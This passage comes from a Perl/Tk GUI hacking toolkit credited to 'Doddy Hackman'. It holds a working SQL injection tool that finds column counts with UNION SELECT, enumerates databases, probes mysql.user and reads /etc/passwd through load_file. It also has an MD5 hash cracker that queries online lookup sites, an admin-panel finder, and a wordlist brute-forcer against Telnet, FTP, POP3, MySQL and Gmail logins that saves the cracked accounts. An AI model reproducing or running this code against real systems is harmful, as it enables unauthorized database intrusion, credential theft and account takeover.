  1080. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1081. $real = "1";
  1082.  
  1083. for my $limit(0..$limita) {
  1084. $tatus->configure(-text=>"Getting databases ...");
  1085. $logo->update;
  1086. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  1087. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  1088. my $control = $1;
  1089. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  1090. $datero->insert("end",$control);
  1091. savefile($save.".txt","[Database $real Found] : $control");
  1092. $real++;
  1093. }
  1094. }
  1095. }
  1096. $tatus->configure(-text=>" ");
  1097. $logo->update;
  1098. } else {
  1099. $tatus->configure(-text=>"information_schema not found");
  1100. }
  1101. }
  1102.  
  1103. sub toma {
  1104. return $nave->get($_[0])->content;
  1105. }
  1106.  
  1107. sub savefile {
  1108. open (SAVE,">>logs/webs/".$_[0]);
  1109. print SAVE $_[1]."\n";
  1110. close SAVE;
  1111. }
  1112.  
  1113. sub partimealmedio {
  1114. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  1115. my $save = $auth;
  1116. $save=~s/:/_/;
  1117. return $save;
  1118. }
  1119.  
  1120. sub encode {
  1121. my $string = $_[0];
  1122. $hex = '0x';
  1123. for (split //,$string) {
  1124. $hex .= sprintf "%x", ord;
  1125. }
  1126. return $hex;
  1127. }
  1128.  
  1129. sub decode {
  1130. $_[0] =~ s/^0x//;
  1131. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  1132. return $encode;
  1133. }
  1134.  
  1135. sub bypass {
  1136. if ($_[0] eq "/*") { return ("/**/","/**/"); }
  1137. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  1138. else {return ("+","--");}}
  1139.  
  1140. sub ascii {
  1141. return join ',',unpack "U*",$_[0];
  1142. }
  1143.  
  1144. sub ascii_de {
  1145. $_[0] = join q[], map { chr } split q[,],$_[0];
  1146. return $_[0];
  1147. }
  1148.  
  1149. sub installer {
  1150. unless (-d "/logs/webs") {
  1151. mkdir("logs/",777);
  1152. mkdir("logs/webs/",777);
  1153. }
  1154. }
  1155.  
  1156. sub aboutxa {
  1157. $logo->Dialog(-title=>"About",-buttons=>["OK"],-text=>"Coded By Doddy H",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1158. }
  1159.  
  1160. sub exitnow {
  1161. $logo->destroy();
  1162. }
  1163.  
  1164. sub nownow {
  1165.  
  1166. my $page = $targetero->get;
  1167. my $bypass = $bypass;
  1168.  
  1169. scan($page,$bypass);
  1170.  
  1171. }
  1172.  
  1173. sub scan {
  1174.  
  1175. my $page = $_[0];
  1176.  
  1177. ($pass1,$pass2) = &bypass($_[1]);
  1178.  
  1179. my $save = partimealmedio($_[0]);
  1180.  
  1181. $tatus->configure(-text=>"Scanning ...");
  1182. $logo->update;
  1183.  
  1184. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  1185. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  1186.  
  1187. unless ($testar1 eq $testar2) {
  1188. motor($page,$_[1]);
  1189. } else {
  1190. $tatus->configure(-text=>"Not vulnerable");
  1191. }
  1192.  
  1193. }
  1194.  
  1195. sub motor {
  1196.  
  1197. my ($gen,$save,$control) = &length($_[0],$_[1]);
  1198.  
  1199. if ($control eq 1) {
  1200. $targetero->configure(-text=>$gen);
  1201. $tatus->configure(-text=>"Enjoy the menu");
  1202. } else {
  1203. $tatus->configure(-text=>"Length columns not found");
  1204. }
  1205. }
  1206.  
  1207. sub length {
  1208. $tatus->configure(-text=>"Looking for the number of columns ...");
  1209. my $rows  = "0";
  1210. my $asc;
  1211. my $page = $_[0];
  1212. ($pass1,$pass2) = &bypass($_[1]);
  1213.  
  1214. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  1215. $total = "1";
  1216. for my $rows(2..200) {
  1217. $logo->update;
  1218. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  1219. $total.= ",".$rows;
  1220. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  1221. $test = toma($injection);
  1222. if ($test=~/RATSXPDOWN/) {
  1223. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  1224. $control = 1;
  1225.  
  1226. my $save = partimealmedio($_[0]);
  1227.  
  1228. savefile($save.".txt","\n[Target confirmed] : $page");
  1229. savefile($save.".txt","[Bypass] : $_[1]\n");
  1230. savefile($save.".txt","[Limit] : The site has $rows columns");
  1231. savefile($save.".txt","[Data] : The number @number print data");
  1232. $total=~s/$number[0]/hackman/;
  1233. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  1234. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  1235. }
  1236. }
  1237. }
  1238.  
  1239. sub openlogsk {
  1240. my $cargar = partimealmedio($targetero->get);
  1241. $t = "logs/webs/$cargar".".txt";
  1242. system("start $t");
  1243. }
  1244.  
  1245. sub details {
  1246.  
  1247. my $page = $targetero->get;
  1248. my $bypass = $bypass;
  1249. my $save = partimealmedio($page);
  1250.  
  1251. $informatero->delete("0.0","end");
  1252.  
  1253. ($pass1,$pass2) = &bypass($bypass);
  1254. savefile($save.".txt","\n");
  1255. if ($page=~/(.*)hackman(.*)/ig) {
  1256. $tatus->configure(-text=>"Searching information ...");
  1257. $logo->update;
  1258. my  ($start,$end) = ($1,$2);
  1259. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  1260. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  1261. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  1262. $test1 = toma($inforschema);
  1263. $test2 = toma($mysqluser);
  1264. if ($test2=~/ERTOR854/ig) {
  1265. savefile($save.".txt","[mysql.user] : ON");
  1266. } else {
  1267. savefile($save.".txt","[mysql.user] : OFF");
  1268. }
  1269. if ($test1=~/ERTOR854/ig) {
  1270. savefile($save.".txt","[information_schema.tables] : ON");
  1271. } else {
  1272. savefile($save.".txt","[information_schema.tables] : OFF");
  1273. }
  1274. if ($test3=~/ERTOR854/ig) {
  1275. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  1276. }
  1277. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  1278. $injection = $start.$concat.$end.$pass2;
  1279. $code = toma($injection);
  1280. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  1281.  
  1282. $informatero->insert("end","DB Version : $1");
  1283. $informatero->insert("end","DB Name : $2");
  1284. $informatero->insert("end","Username : $3");
  1285. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n");
  1286. $tatus->configure(-text=>" ");
  1287. } else {
  1288. $tatus->configure(-text=>"Not found any data");
  1289. }
  1290. }
  1291. }
  1292.  
  1293. } #End
  1294.  
  1295. sub menu_getpass { #Start
  1296.  
  1297. my $ta = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1298. $ta->title("Finder Pass 0.4 (C) Doddy Hackman 2012");
  1299. $ta->geometry("600x400+20+20");
  1300. $ta->resizable(0,0);
  1301.  
  1302. $d = $ta->Frame(-relief=>"sunken",-bd=>1,-background=>$color_fondo,-foreground=>$color_texto);
  1303. my $max = $d->Menubutton(-text=>"Options",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1304. my $aba = $d->Menubutton(-text=>"About",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1305. my $exa = $d->Menubutton(-text=>"Exit",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1306. $d->pack(-side=>"top",-fill=>"x");
  1307.  
  1308. $max->command(-label=>"Crack",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&cracknow);
  1309. $max->command(-label=>"Add Hash",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&addhash);
  1310. $max->command(-label=>"Add File with hashes",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&addfilea);
  1311. $max->command(-label=>"Clean List",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&cleanow);
  1312.  
  1313. $aba->command(-label=>"About",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&about);
  1314.  
  1315. $exa->command(-label=>"Exit",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&salir);
  1316.  
  1317. $ta->Label(-text=>"Hashes",-background => $color_fondo,-foreground => $color_texto,-font=>"Impact")->place(-x=>110,-y=>50);
  1318. my $had = my $has = $ta->Listbox(-width=>36,-height=>15,-background => $color_fondo,-foreground => $color_texto)->place(-x =>32,-y =>100 );
  1319.  
  1320. $ta->Label(-text=>"Results",-background => $color_fondo,-foreground => $color_texto,-font=>"Impact")->place(-x=>380,-y=>50);
  1321. my $red = my $res = $ta->Listbox(-width=>36,-height=>15,-background => $color_fondo,-foreground => $color_texto)->place(-x =>300,-y =>100 );
  1322.  
  1323. my $status = $ta->Label(-text=>"Status : <None>",-background => $color_fondo,-foreground => $color_texto,-font=>"Impact1")->place(-x=>220,-y=>350);
  1324.  
  1325. MainLoop;
  1326.  
  1327.  
  1328. sub cracknow {
  1329.  
  1330. my @hashes = $had->get("0.0","end");
  1331. my @hashes = repes(@hashes);
  1332.  
  1333. for my $ha(@hashes) {
  1334. $status->configure(-text=>"[+] Searching ..");
  1335. $ta->update;
  1336. my $re = crackit($ha);
  1337. if ($re=~/false01/ig) {
  1338. $red->insert("end","Not Found");
  1339. } else {
  1340. $red->insert("end",$re);
  1341. savefile("hashes-found.txt",$ha.":".$re);
  1342. }}
  1343. $status->configure(-text=>"Status : <None>");
  1344. }
  1345.  
  1346. sub addfilea {
  1347.  
  1348. my $mediox = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1349. $mediox->geometry("390x90+20+20");
  1350. $mediox->resizable(0,0);
  1351. $mediox->title("Add File");
  1352.  
  1353. $mediox->Label(-text=>"File : ",-background=>$color_fondo,-foreground=>$color_texto,-font=>"Impact1")->place(-x=>10,-y=>30);
  1354. my $enafa = $mediox->Entry(-background=>$color_fondo,-foreground=>$color_texto,-width=>33)->place(-y=>33,-x=>55);
  1355. $mediox->Button(-text=>"Browse",-width=>7,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&bronax)->place(-y=>33,-x=>265);
  1356. $mediox->Button(-text=>"Load",-width=>7,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&bronaxx)->place(-y=>33,-x=>320);
  1357.  
  1358. sub bronax {
  1359. $browse = $mediox->FileSelect(-directory=>getcwd());
  1360. my $fileax = $browse->Show;
  1361. $enafa->configure(-text=>$fileax);
  1362. }
  1363.  
  1364. sub bronaxx {
  1365. open(OPEN,$enafa->get);
  1366. my @ve = <OPEN>;
  1367. close OPEN;
  1368. for my $no(@ve) {
  1369. chomp $no;
  1370. if (ver_length($no)) {
  1371. $had->insert("end",$no);
  1372. }}}}
  1373.  
  1374. sub addhash {
  1375.  
  1376. my $plac = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1377. $plac->geometry("350x90+20+20");
  1378. $plac->resizable(0,0);
  1379. $plac->title("Add Hash");
  1380.  
  1381. $plac->Label(-text=>"Hash : ",-background=>$color_fondo,-foreground=>$color_texto,-font=>"Impact1")->place(-x=>10,-y=>30);
  1382. my $ewa = $plac->Entry(-background=>$color_fondo,-foreground=>$color_texto,-width=>33)->place(-y=>33,-x=>60);
  1383. $plac->Button(-text=>"Add",-background=>$color_fondo,-activebackground=>$color_texto,-foreground=>$color_texto,-width=>7,-command=>\&addnowa)->place(-y=>33,-x=>275);
  1384.  
  1385. sub addnowa {
  1386. if (ver_length($ewa->get)) {
  1387. $had->insert("end",$ewa->get);
  1388. } else {
  1389. $ta->Dialog(-title=> "Error",-buttons=>["OK"],-text=> "Hash invalid",-background=>$color_fondo,-foreground=> $color_texto,-activebackground => $color_texto)->Show();
  1390. }}}
  1391.  
  1392. sub cleanow {
  1393. $had->delete(0.0,"end");
  1394. $red->delete(0.0,"end");
  1395. }
  1396.  
  1397. sub about {
  1398. $ta->Dialog(-title=> "About",-buttons=>["OK"],-text=> "This program was coded by Doddy Hackman in 2012",-background=>$color_fondo,-foreground=> $color_texto,-activebackground => $color_text)->Show();
  1399. }
  1400.  
  1401. sub salir {
  1402. $ta->destroy();
  1403. }
  1404.  
  1405. sub crackit {
  1406.  
  1407. my $target = shift;
  1408.  
  1409. chomp $target;
  1410.  
  1411. my %hash = (
  1412.      
  1413. 'http://md5.hashcracking.com/search.php?md5=' =>  {
  1414. 'tipo' => 'get',
  1415. 'regex' => "Cleartext of $target is (.*)",
  1416. },
  1417.  
  1418. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {  
  1419. 'variables'=>{'search_field'=>$target,'Submit'=>'search'},
  1420. 'regex' => "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
  1421. },
  1422.  
  1423. 'http://md5.rednoize.com/?q=' =>  {    
  1424. 'tipo'=> 'get',
  1425. 'regex' => "<div id=\"result\" >(.*)<\/div>"
  1426. },
  1427.  
  1428. 'http://md52.altervista.org/index.php?md5=' =>  {  
  1429. 'tipo'=> 'get',
  1430. 'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
  1431. }
  1432.  
  1433. );
  1434.  
  1435. for my $data(keys %hash) {
  1436. $ta->update;
  1437. if ($hash{$data}{tipo} eq "get") {
  1438. $code = toma($data.$target);
  1439. if ($code=~/$hash{$data}{regex}/ig) {
  1440. my $found = $1;
  1441. unless($found=~/\[Non Trovata\]/) {
  1442. return $found;
  1443. last;
  1444. }}}
  1445. else {
  1446. $code = tomar($data,$hash{$data}{variables});
  1447. if ($code=~/$hash{$data}{regex}/ig) {
  1448. my $found = $1;
  1449. return $found;
  1450. last;
  1451. }}}
  1452. return "false01";
  1453. }
  1454.  
  1455. } #End
  1456.  
  1457.  
  1458. sub menu_panel {
  1459.  
  1460. my $newdaxz = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1461.  
  1462. $newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
  1463. $newdaxz->geometry("345x350+50+50");
  1464. $newdaxz->resizable(0,0);
  1465.  
  1466. $menula = $newdaxz->Frame(-relief=>"sunken",-bd=>1,-background=>$color_fondo,-foreground=>$color_texto);
  1467. my $menulnowaxm = $menula->Menubutton(-text=>"Options",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1468. my $aboutnowaxm = $menula->Menubutton(-text=>"About",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1469. my $exitnowaxm = $menula->Menubutton(-text=>"Exit",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1470. $menula->pack(-side=>"top",-fill=>"x");
  1471.  
  1472. $menulnowaxm->command(-label=>"Scan",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&findpanel);
  1473. $menulnowaxm->command(-label=>"Open Logs",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&openlogsko);
  1474.  
  1475. $aboutnowaxm->command(-label=>"About",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&aboutxa);
  1476.  
  1477. $exitnowaxm->command(-label=>"Exit",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&exitnow);
  1478.  
  1479. $newdaxz->Label(-text=>"Page : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>40);
  1480. my $paget = $newdaxz->Entry(-width=>40,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>70,-y=>45);
  1481.  
  1482. $newdaxz->Label(-text=>"Panels Found",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>120,-y=>80);
  1483. my $admins = $newdaxz->Listbox(-width=>40,-height=>10,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>130);
  1484.  
  1485. $newdaxz->Label(-text=>"Status : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>63,-y=>300);
  1486. my $tatus = $newdaxz->Entry(-width=>25,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>120,-y=>305);
  1487.  
  1488. $admins->bind("<Double-1>",[\&loader]);
  1489.  
  1490. MainLoop;
  1491.  
  1492. sub findpanel {
  1493. my $hage = $paget->get;
  1494. $admins->delete("0.0","end");
  1495. $tatus->configure(-text=>"Starting");
  1496. for my $path(@paneles) {
  1497. $newdaxz->update;
  1498. $tatus->configure(-text=>$path);
  1499. $code = tomados($hage."/".$path);
  1500. if ($code->is_success) {
  1501. $controlt = 1;
  1502. $admins->insert("end",$hage."/".$path);
  1503. savefile("admins-founds.txt",$hage."/".$path);
  1504. }
  1505. }
  1506.  
  1507. if ($controlt ne 1) {
  1508. $newdaxz->Dialog(-title=>"Error",-buttons=>["OK"],-text=>"Not found anything",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1509. }
  1510. $tatus->configure(-text=>"Finished");
  1511. }
  1512.  
  1513. sub loader {
  1514. $adminsa = $admins->curselection();
  1515. for my $id (@$adminsa) {
  1516. my $linkar = $admins->get($id);
  1517. system("start firefox $linkar");
  1518. }
  1519. }
  1520.  
  1521. sub openlogsko {
  1522. my $f = "logs/admins-founds.txt";
  1523. if(-f $f) {
  1524. system($f);
  1525. } else {
  1526. $newdaxz->Dialog(-title=>"Error",-buttons=>["OK"],-text=>"File Not Found",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1527. }
  1528. }
  1529.  
  1530. sub aboutxa {
  1531. $newdaxz->Dialog(-title=>"About",-buttons=>["OK"],-text=>"Coded By Doddy H",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1532. }
  1533.  
  1534. sub exitnow {
  1535. $newdaxz->destroy();
  1536. }
  1537.  
  1538. } #End
  1539.  
  1540. sub menu_cracker { #Start
  1541.  
  1542. my $newdax = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1543.  
  1544. $newdax->title("Massive Cracker 0.4");
  1545. $newdax->geometry("320x270+50+50");
  1546. $newdax->resizable(0,0);
  1547.  
  1548. $menula = $newdax->Frame(-relief=>"sunken",-bd=>1,-background=>$color_fondo,-foreground=>$color_texto);
  1549. my $menulnowaxaz = $menula->Menubutton(-text=>"Options",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1550. my $aboutnowaxaz = $menula->Menubutton(-text=>"About",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1551. my $exitnowaxaz = $menula->Menubutton(-text=>"Exit",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  1552. $menula->pack(-side=>"top",-fill=>"x");
  1553.  
  1554. $menulnowaxaz->command(-label=>"Crack",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&crack);
  1555. $menulnowaxaz->command(-label=>"Open Logs",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&openlogsaz);
  1556. $aboutnowaxaz->command(-label=>"About",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&aboutxaz);
  1557. $exitnowaxaz->command(-label=>"Exit",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&exitnowaz);
  1558.  
  1559. #
  1560. $newdax->Label(-text=>"Host : ",-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>40);
  1561. my $host = $newdax->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>70,-y=>43);
  1562. $newdax->Label(-text=>"Username : ",-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>70);
  1563. my $username = $newdax->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>110,-y=>73);
  1564. $newdax->Label(-text=>"Wordlist : ",-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>100);
  1565. my $password = $newdax->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>95,-y=>103);
  1566. $newdax->Button(-text=>"Browse",-width=>10,-command=>\&bronaf,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-x=>225,-y=>103);
  1567. $newdax->Label(-text=>"Timeout : ",-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>130);
  1568. my $timeout = $newdax->Entry(-width=>10,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>95,-y=>133);
  1569.  
  1570. $newdax->Label(-text=>"Service : ",-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>170);
  1571. $newdax->Optionmenu(-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto,
  1572. -options => [[FTP=>FTP], [TELNET=>TELNET],[POP3=>POP3],[MYSQL=>MYSQL],[GMAIL=>GMAIL]],  
  1573. -textvariable => \$service
  1574. )->place(-x=>90,-y=>170);
  1575.  
  1576. $newdax->Label(-text=>"Status : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>60,-y=>220);
  1577. my $status = $newdax->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>120,-y=>225);
  1578. #
  1579.  
  1580. MainLoop;
  1581.  
  1582. sub crack {
  1583.  
  1584. my $host = $host->get;
  1585. my $user = $username->get;
  1586. my $word = $password->get;
  1587. my $time = $timeout->get;
  1588.  
  1589. my $op = $service;
  1590.  
  1591. if(-f $word) {
  1592.  
  1593. $status->configure(-text=>" ");
  1594.  
  1595. if($op eq "TELNET") {
  1596.  
  1597. my $cont = "0";
  1598.  
  1599. my @words = openwordlist($word);
  1600.  
  1601. for my $pass(@words) {
  1602. chomp $pass;
  1603. $newdax->update;
  1604. $status->configure(-text=>$pass);
  1605. sleep($time);
  1606. $telnet = new Net::Telnet(Errmode =>"return");
  1607. $telnet->open($host);
  1608. if($telnet->login($user,$pass)) {
  1609. $cont = "1";
  1610. yeaha($host,$user,$pass,"Telnet");
  1611. }
  1612. $telnet->close;
  1613. }
  1614. if ($cont eq "0") {
  1615. $status->configure(-text=>"Not Found");
  1616. }
  1617. }
  1618.  
  1619. elsif ($op eq "FTP") {
  1620.  
  1621. my $cont = "0";
  1622.  
  1623. my @words = openwordlist($word);
  1624.  
  1625. for my $pass(@words) {
  1626. chomp $pass;
  1627. $newdax->update;
  1628. $status->configure(-text=>$pass);
  1629. sleep($time);
  1630. $ftp =Net::FTP->new($host);
  1631. if($ftp->login($user,$pass)) {
  1632. $cont = "1";
  1633. yeaha($host,$user,$pass,"FTP");
  1634. }
  1635. $ftp->quit;
  1636. }
  1637. if ($cont eq "0") {
  1638. $status->configure(-text=>"Not Found");
  1639. }
  1640. }
  1641. elsif ($op eq "POP3") {
  1642.  
  1643.  
  1644. my $cont = "0";
  1645.  
  1646. my @words = openwordlist($word);
  1647.  
  1648. for my $pass(@words) {
  1649. chomp $pass;
  1650. $newdax->update;
  1651. $status->configure(-text=>$pass);
  1652. sleep($time);
  1653. $pop = Net::POP3->new($host);
  1654. if($pop->login($user,$pass)) {
  1655. $cont = "1";
  1656. yeaha($host,$user,$pass,"POP3");
  1657. }
  1658. $pop->quit();
  1659. }
  1660. if ($cont eq "0") {
  1661. $status->configure(-text=>"Not Found");
  1662. }
  1663. }
  1664.  
  1665. elsif ($op eq "MYSQL") {
  1666.  
  1667. my $cont = "0";
  1668.  
  1669. my @words = openwordlist($word);
  1670.  
  1671. $target = "dbi:mysql::".$host.":3306";
  1672.  
  1673. for my $pass(@words) {
  1674. chomp $pass;
  1675. $newdax->update;
  1676. $status->configure(-text=>$pass);
  1677. sleep($time);
  1678. if (my $now = DBI->connect($target,$user,$pass,{PrintError=>0})) {
  1679. $cont = "1";
  1680. yeaha($host,$user,$pass,"Mysql");
  1681. }
  1682. }
  1683. if ($cont eq "0") {
  1684. $status->configure(-text=>"Not Found");
  1685. }
  1686. }
  1687.  
  1688. elsif ($op eq "GMAIL") {
  1689.  
  1690. my $cont = "0";
  1691.  
  1692. my @words = openwordlist($word);
  1693.  
  1694. for my $pass(@words) {
  1695. chomp $pass;
  1696. $newdax->update;
  1697. $status->configure(-text=>$pass);
  1698. sleep($time);
  1699. my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");
  1700.  
  1701. my $nave = Mail::POP3Client->new();
  1702.  
  1703. $nave->User($user);
  1704. $nave->Pass($pass);
  1705. $nave->Socket($so);
  1706.  
  1707. if ($nave->Connect()) {
  1708. $cont = "1";
  1709. yeaha("pop.gmail.com",$user,$pass,"Gmail");
  1710. }
  1711.  
  1712. $so->close();
  1713. $nave->close();
  1714. }
  1715. if ($cont eq "0") {
  1716. $status->configure(-text=>"Not Found");
  1717. }
  1718.  
  1719. } else {
  1720. }
  1721. } else {
  1722. $newdax->Dialog(-title=>"Error",-buttons=>["OK"],-text=>"File Not Found",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1723. }
  1724. }
  1725.  
  1726. sub yeaha {
  1727.  
  1728. my $foundtk = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  1729. $foundtk->title("Account Cracked");
  1730. $foundtk->geometry("280x130+20+20");
  1731. $foundtk->resizable(0,0);
  1732.  
  1733. $foundtk->Label(-text=>"Host : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  1734. my $host_found = $foundtk->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>67,-y=>25);
  1735. $foundtk->Label(-text=>"Username : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>50);
  1736. my $user_found = $foundtk->Entry(-width=>24,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>103,-y=>55);
  1737. $foundtk->Label(-text=>"Password : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>80);
  1738. my $pass_found = $foundtk->Entry(-width=>24,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>103,-y=>85);
  1739.  
  1740. $host_found->configure(-text=>$_[0]);
  1741. $user_found->configure(-text=>$_[1]);
  1742. $pass_found->configure(-text=>$_[2]);
  1743.  
  1744. savefile("cracked-logs.txt",$_[3].":".$_[0].":".$_[1].":".$_[2]);
  1745.  
  1746. last;
  1747.  
  1748. }
  1749.  
  1750. sub openwordlist {
  1751.  
  1752. my @words;
  1753. my ($file) = @_;
  1754.  
  1755. open(FILE,$file);
  1756. my @words = <FILE>;
  1757. close FILE;
  1758.  
  1759. return @words;
  1760.  
  1761. }
  1762.  
  1763. sub bronaf {
  1764. $newdax->update;
  1765. $browse = $newdax->FileSelect(-directory => getcwd());
  1766. my $file = $browse->Show;
  1767. $password->configure(-text =>$file);
  1768. }
  1769.  
  1770. sub aboutxaz {
  1771. $newdax->Dialog(-title=>"About",-buttons=>["OK"],-text=>"Coded By Doddy H",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1772. }
  1773.  
  1774. sub openlogsaz {
  1775. my $f = "cracked-logs.txt";
  1776. if(-f $f) {
  1777. system($f);
  1778. } else {
  1779. $newdax->Dialog(-title=>"Error",-buttons=>["OK"],-text=>"File Not Found",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  1780. }
  1781. }
  1782.  
  1783. sub exitnowaz {
  1784. $newdax->destroy();
  1785. }
  1786.  
  1787. } #End
  1788.  
  1789. ##
  1790.  
  1791. #Funciones vitales
  1792.  
  1793. sub toma {
  1794. return $nave->get( $_[0] )->content;
  1795. }
  1796.  
  1797. sub tomados {
  1798. return $nave->get($_[0]);
  1799. }
  1800.  
  1801. sub tomar {
  1802. my ($web,$var) = @_;
  1803. return $nave->post($web,[%{$var}])->content;
  1804. }
  1805.  
  1806. sub openlogsa {
  1807. system("start logs/info-logs.txt");
  1808. }
  1809.  
  1810. sub installer {
  1811. unless ( -d "/logs" ) {
  1812. mkdir( "logs/", 777 );
  1813. }
  1814. }
  1815.  
  1816. sub savefile {
  1817. open( SAVE, ">>logs/" . $_[0] );
  1818. print SAVE $_[1] . "\n";
  1819. close SAVE;
  1820. }
  1821.  
  1822. sub repes {
  1823. my @limpio;
  1824. foreach $test (@_) {
  1825. push @limpio, $test unless $repe{$test}++;
  1826. }
  1827. return @limpio;
  1828. }
  1829.  
  1830. sub ver_length {
  1831. return true if length($_[0]) == 32;
  1832. }
  1833.  
